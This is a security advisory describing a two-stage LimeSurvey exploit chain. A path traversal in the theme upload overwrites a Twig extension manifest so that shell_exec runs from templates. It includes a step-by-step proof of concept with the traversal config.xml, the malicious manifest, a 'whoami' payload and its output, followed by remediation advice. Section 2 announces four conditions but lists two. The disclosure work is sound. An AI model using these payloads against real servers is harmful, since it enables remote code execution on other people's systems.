1. Technical Analysis
1.1. Stage 1 — Path Traversal via Question Theme Upload
When a user uploads a Question Theme as a ZIP archive, LimeSurvey extracts its contents into a destination directory derived from the <name> field within the config.xml embedded in the archive. The application reads this value directly and constructs the target path without performing any validation, normalization, or containment checks.
The relevant source locations are as follows:
| File |
Line |
Code action |
Themes.php |
309 |
Reads metadata.name from config.xml |
Themes.php |
310 |
Concatenates the value directly into the destination path |
Themes.php |
1448 |
Passes the directory name down to installer logic |
Themes.php |
1449 |
Returns the unvalidated theme name to the caller |
QuestionThemeInstaller.php |
34 |
Creates the destination path and extracts the ZIP into the resolved location |
The existing ZIP content filter blocks files with a .php extension, preventing the direct write of a PHP webshell. However, this filter does not prevent the extraction of non-executable file types such as .xml outside the permitted directory tree.
| File |
Line |
Code action |
template_helper.php |
130 |
Performs the file extension check against the blocked/allowed list |
config-defaults.php |
100 |
Defines the blocked and allowed theme upload extensions |
By setting the <name> value to a path traversal sequence such as ..\..\twig\extensions\HelloWorld_Twig_Extension, an attacker can cause the ZIP extractor to write files directly into upload/twig/extensions/HelloWorld_Twig_Extension/, overwriting the XML manifest of any existing legitimate Twig extension.
1.2. Stage 2 — Custom Twig Extension Injection
When the use_custom_twig_extensions option is set to true, LimeSurvey initializes a scan of the upload/twig/extensions/ directory at application startup. Each XML manifest found in that location is parsed, and the declared PHP callables are registered as callable Twig functions inside the active Twig environment.
The relevant source locations are as follows:
| File |
Line |
Code action |
LSYii_Application.php |
464 |
Checks the use_custom_twig_extensions flag |
LSYii_Application.php |
501 |
Scans the upload/twig/extensions/ directory |
LSYii_Application.php |
503 |
Parses the XML manifest for each extension |
ETwigViewRenderer.php |
231 |
Registers the function mapping with the Twig environment |
ETwigViewRenderer.php |
237 |
Registers the callable string without validation |
LSETwigViewRenderer.php |
841 |
Loads the extension class from the subdirectory |
LSETwigViewRenderer.php |
846 |
Instantiates the extension object |
When the XML manifest is replaced with a malicious version that maps a Twig function name to shell_exec, the engine registers the mapping transparently without any restriction or allowlist check:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>HelloWorld_Twig_Extension</name>
<title>lavie3k Function Carrier</title>
</metadata>
<sandboxConfig>
<functions>
<function twig-name="lavie3kpv" extension-name="phpversion" />
<function twig-name="cmd" extension-name="shell_exec" />
</functions>
</sandboxConfig>
</config>
Note: The <name> field must remain HelloWorld_Twig_Extension because this is the > PHP class name that LimeSurvey attempts to instantiate. Changing it would cause the > extension to fail loading.
Once the extension is loaded, any .twig template file that invokes the registered function will trigger OS command execution:
{{ cmd('cmd /c whoami') }}
LimeSurvey supports a twig="on" attribute on the <description> field within a survey theme's config.xml. When this attribute is set, the description string is passed through the Twig renderer whenever the theme list page is loaded, providing a reliable and accessible template render sink to close the chain.
2. Required Conditions
All four conditions listed below must be simultaneously satisfied for the full attack chain to succeed.
Condition 1 — use_custom_twig_extensions = true:
This option must be explicitly enabled in the LimeSurvey configuration (typically in application/config/config.php or via the global settings table). This is the critical gating condition. The default value is false on standard installations; however, certain production environments enable it to support custom Twig functionality.
Condition 2 — SuperAdmin account access:
The attacker must be authenticated with SuperAdmin privileges to access the Themes management functionality and perform theme uploads.
3. Proof of Concept — Step-by-Step Reproduction
3.1. Configure the Target Environment
Ensure the LimeSurvey instance is running with the following option enabled:
// application/config/config.php
'use_custom_twig_extensions' => true,
3.2. Authenticate as SuperAdmin
Navigate to the login endpoint and authenticate using a SuperAdmin account:
http://<target>/index.php?r=admin/authentication/sa/login
3.3. Access the Themes Management Page
Navigate to:
http://<target>/index.php?r=themeOptions
Confirm the page renders the theme list without errors, establishing that the base application state is normal before exploitation begins.
3.4. Prepare question_chain.zip
This archive is the path traversal delivery vehicle. It contains two files.
config.xml — declares the traversal destination path:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>..\..\twig\extensions\lavie3k_ext_a9fa08c8</name>
<description>question traversal into custom twig extension directory</description>
<author>lavie3k</author>
<license>MIT</license>
<version>1.0</version>
<type>question_theme</type>
</metadata>
<compatibility>
<version>6.0</version>
</compatibility>
</config>
The <name> field uses path traversal sequences (..\..\) to escape the intended extraction root at upload/themes/question/ and redirect extraction output into upload/twig/extensions/lavie3k_ext_a9fa08c8/.
evil.xml — the malicious extension manifest mapping shell_exec into Twig:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>HelloWorld_Twig_Extension</name>
<title>lavie3k Function Carrier</title>
</metadata>
<sandboxConfig>
<functions>
<function twig-name="lavie3kpv" extension-name="phpversion" />
<function twig-name="cmd" extension-name="shell_exec" />
</functions>
</sandboxConfig>
</config>
Expected ZIP structure:
question_chain.zip
├── config.xml ← path traversal payload in <name>
└── evil.xml ← malicious Twig extension manifest
3.5. Upload the Malicious Question Theme
From the Themes management page, select Upload and install question theme and submit question_chain.zip. On a successful upload (HTTP 200), the application extracts the archive into the path declared in <name>, writing files to:
upload/twig/extensions/lavie3k_ext_a9fa08c8/config.xml
upload/twig/extensions/lavie3k_ext_a9fa08c8/evil.xml
3.6. Trigger Extension Manifest Reload
Issue a GET request to:
http://<target>/index.php?r=themeOptions
This causes LSYii_Application to re-scan upload/twig/extensions/, discover the newly written manifest, and register the lavie3kpv (→ phpversion) and cmd (→ shell_exec) functions into the active Twig environment.
3.7. Prepare lavie3k_twigexec_probe.zip
This archive is a well-formed Survey Theme with a <description> field containing a Twig execution payload, rendered server-side when the theme list is loaded.
config.xml of the malicious survey theme:
<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>lavie3k_twigexec_probe_a9fa08c8</name>
<title>lavie3k_twigexec_probe_a9fa08c8</title>
<type>theme</type>
<extends>vanilla</extends>
<creationDate>2026-04-17</creationDate>
<author>lavie3k</author>
<authorEmail>lavie3k@example.test</authorEmail>
<authorUrl>http://example.test</authorUrl>
<copyright>lavie3k</copyright>
<license>MIT</license>
<version>1.0</version>
<apiVersion>3</apiVersion>
<description twig="on">
<![CDATA[TWIGFUNC={{ lavie3kpv() }} TWIGCMD={{ cmd('cmd /c whoami') }}]]>
</description>
<lastUpdate>2026-04-17 00:00:00</lastUpdate>
</metadata>
<compatibility>
<version>6.0</version>
</compatibility>
</config>
Expected ZIP structure:
lavie3k_twigexec_probe.zip
└── config.xml ← survey theme with embedded Twig execution payload
3.8. Upload the Malicious Survey Theme
From the Themes management page, select Upload and install survey theme and submit lavie3k_twigexec_probe.zip. Once uploaded, the theme is registered in the application and its metadata — including the malicious <description> — is stored and ready to be evaluated.
3.9. Confirm RCE
Issue a GET request to:
http://<target>/index.php?r=themeOptions
The page renders the theme list and evaluates the description field through Twig. The HTTP response body will contain the output of the executed command:
TWIGFUNC=8.x.x TWIGCMD=desktop-rejndme\admin
When the payload is injected directly into a layout template such as layout_survey_list.twig, the response contains:
<div id="codex-rce-test">desktop-rejndme\admin
</div>
The output desktop-rejndme\admin is the result of whoami executed in the context of the PHP/web server process, confirming successful Remote Code Execution on the host system.
4. Attack Chain Diagram
Attacker (Authenticated SuperAdmin)
│
▼
┌──────────────────────────────────────────────────┐
│ STAGE 1 — Path Traversal │
│ │
│ Upload question_chain.zip │
│ └─ config.xml: <name> = ..\..\twig\extensions\ │
│ └─ evil.xml : maps cmd → shell_exec │
│ │
│ QuestionThemeInstaller.php (line 34) │
│ ↓ writes evil.xml to: │
│ upload/twig/extensions/<dir>/evil.xml │
└──────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
│ STAGE 2 — Twig Extension Injection │
│ │
│ GET /themeOptions │
│ └─ LSYii_Application.php (line 501–503) │
│ scans upload/twig/extensions/ │
│ parses evil.xml manifest │
│ └─ ETwigViewRenderer.php (line 231–237) │
│ registers cmd() → shell_exec() in Twig │
└──────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
│ STAGE 3 — Twig Render Sink │
│ │
│ Upload lavie3k_twigexec_probe.zip │
│ └─ config.xml: <description twig="on"> │
│ {{ cmd('cmd /c whoami') }} │
│ │
│ GET /themeOptions │
│ └─ Twig evaluates description field │
│ └─ shell_exec('cmd /c whoami') called │
└──────────────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────┐
│ RESULT — Remote Code Execution │
│ │
│ Output: desktop-rejndme\admin │
└──────────────────────────────────────────────────┘
5. Impact Assessment
Confidentiality — High:
An attacker with a successful exploit gains the ability to read any file accessible to the web server process. This includes database credentials, application secret keys, session data, and all survey response data stored on the filesystem or reachable via database connection strings.
Integrity — High:
The attacker can write, modify, or delete arbitrary files within the web server's accessible scope. This enables persistent backdoor installation, application source code modification, and configuration tampering that survives reboots.
Availability — High:
The attacker can terminate processes, delete critical files, exhaust system resources, or introduce application-level logic that permanently disrupts the service.
Although the attack chain requires SuperAdmin credentials, it remains a significant security concern from a defense-in-depth perspective. The principle of least privilege dictates that an application-level administrator role should never implicitly grant OS-level command execution capability through a legitimate application feature such as theme upload. Furthermore, in environments where multiple administrators exist or where admin credentials are shared, this vulnerability dramatically escalates the blast radius of any account compromise.
6. Remediation Recommendations
Priority — Critical:
Sanitize and validate the <name> value extracted from theme config.xml before using it as a filesystem path. Apply PHP realpath() or an equivalent normalization function and assert that the resulting path is strictly contained within the permitted extraction root. Reject any ZIP archive that contains entries with path traversal sequences (.., ../, ..\) in file or directory names.
Priority — Critical:
Redesign the Custom Twig Extension registration mechanism. Do not allow arbitrary PHP callable strings to be loaded from user-accessible XML manifest files. Require extensions to be installed via a package manager (e.g., Composer) and deployed outside the web root, eliminating the possibility of runtime manifest injection.
Priority — High:
Change the default value of use_custom_twig_extensions to false and clearly document in the official LimeSurvey security hardening guide that enabling this option in an environment with untrusted admin accounts carries a critical RCE risk.
Priority — High:
Restrict the file types permitted within uploaded theme ZIP archives to a strict allowlist (e.g., .twig, .css, .js, .png, .jpg, .gif, .svg). Explicitly deny .xml files whose paths resolve outside the expected theme subdirectory structure.
Priority — Medium:
Enforce a Twig sandbox policy with a strict function allowlist. Disable access to all PHP built-in functions from within Twig templates except those explicitly vetted for safe use. The TwigEnvironment::addSandboxExtension() API with a SecurityPolicy object can achieve
this.
Priority — Medium:
Audit all other ZIP upload endpoints in LimeSurvey for similar path traversal patterns, including survey template, plugin, and resource upload handlers.
7. References
| Reference |
Line(s) |
Code action |
application/libraries/Themes.php |
309–310, 1448–1449 |
Raw use of metadata.name as a path and propagation of that value into the theme directory selection flow |
application/helpers/common_helper/template_helper.php |
130 |
Blocked extension filter |
application/config/config-defaults.php |
100 |
Blocked extension list |
application/helpers/admin/theme/QuestionThemeInstaller.php |
34 |
ZIP extraction into an unvalidated destination path |
application/core/LSYii_Application.php |
464, 501, 503 |
Custom Twig extension loading |
application/extensions/ETwigViewRenderer/ETwigViewRenderer.php |
231, 237 |
Callable registration into Twig |
application/extensions/LSETwigViewRenderer/LSETwigViewRenderer.php |
841, 846 |
Extension class load and instantiation |
CWE-22 |
|
Improper Limitation of a Pathname to a Restricted Directory |
CWE-94 |
|
Improper Control of Generation of Code |
OWASP Path Traversal |
|
https://owasp.org/www-community/attacks/Path_Traversal |
OWASP Code Injection |
|
https://owasp.org/www-community/attacks/Code_Injection |
|